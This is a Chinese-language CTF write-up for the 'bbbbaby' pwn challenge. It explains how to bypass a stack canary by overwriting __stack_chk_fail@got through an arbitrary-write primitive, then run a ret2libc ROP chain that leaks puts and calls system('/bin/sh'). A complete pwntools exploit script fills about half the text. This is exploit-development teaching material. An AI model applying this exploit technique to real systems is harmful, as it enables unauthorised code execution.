陇原战疫2021网络安全大赛--bbbbaby(pwn)
比赛题目记录一下,这是唯一一道栈的题目。其他都是堆的题目,堆还没怎么开始学习。
这是一道需要修改 __stack_chk_fail@got 地址来绕过canary 的题目。程序中没有 printf 函数我们没有办法泄露canary 的值。来看题目:
开启了Canary 和 NX。没有开启 RELRO 我们就能修改函数的got表。
这是程序的主函数,我们需要需要输入输入数字来,实现函数功能。
这个函数我们可以实现地址任意写入。因为它让我们先输入一个函数的地址,然后通过read函数往那个地址中写入内容。
这个地方有栈溢出,我们输入大小,通过read函数往 a1 中写入内容,这里的 a1就是主函数中的 v5。我们可以看到 v5距离rbp的偏移是 0x110
我们需要修改 __stack_chk_fail@got 的地址让在检查canary被修改后执行别的函数这样程序就不因为canary的值被修改而报错,这样也就绕过了canary。题目给了 libc库所以修改完 __stack_chk_fail@got
我们构造ROP 按RET2LIBC来打就可以了。
from pwn import *
p=process('./pwn1')
#p=remote('node4.buuoj.cn',27412)
elf=ELF('./pwn1')
context.log_level='debug'
#libc=ELF('libc-2.23.so')
libc=elf.libc
rdi=0x0000000000400a03
p.sendlineafter('your choice','0')
p.sendlineafter('address:\n',str(0x601020))
p.sendlineafter('content:\n',p64(elf.plt['puts']))
p.sendlineafter('address:\n','-1')
p.sendlineafter('your choice\n','1')
p.sendlineafter('size:\n',str(0x200))
p.sendlineafter('content:\n','A'*0x110+'b'*8+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x40090b))
p.sendlineafter('your choice\n','-1')
puts=u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
success('puts:'+hex(puts))
libc_base=puts-libc.sym['puts']
success('libc_base:'+hex(libc_base))
sh=libc_base+libc.search('/bin/sh').next()
system=libc_base+libc.sym['system']
p.sendlineafter('your choice','0')
p.sendlineafter('address:\n',str(0x601020))
p.sendlineafter('content:\n',p64(elf.plt['puts']))
p.sendlineafter('address:\n','-1')
p.sendlineafter('your choice\n','1')
p.sendlineafter('size:\n',str(0x200))
p.sendlineafter('content:\n','A'*0x110+'b'*8+p64(rdi)+p64(sh)+p64(system))
p.sendlineafter('your choice\n','-1')
p.interactive()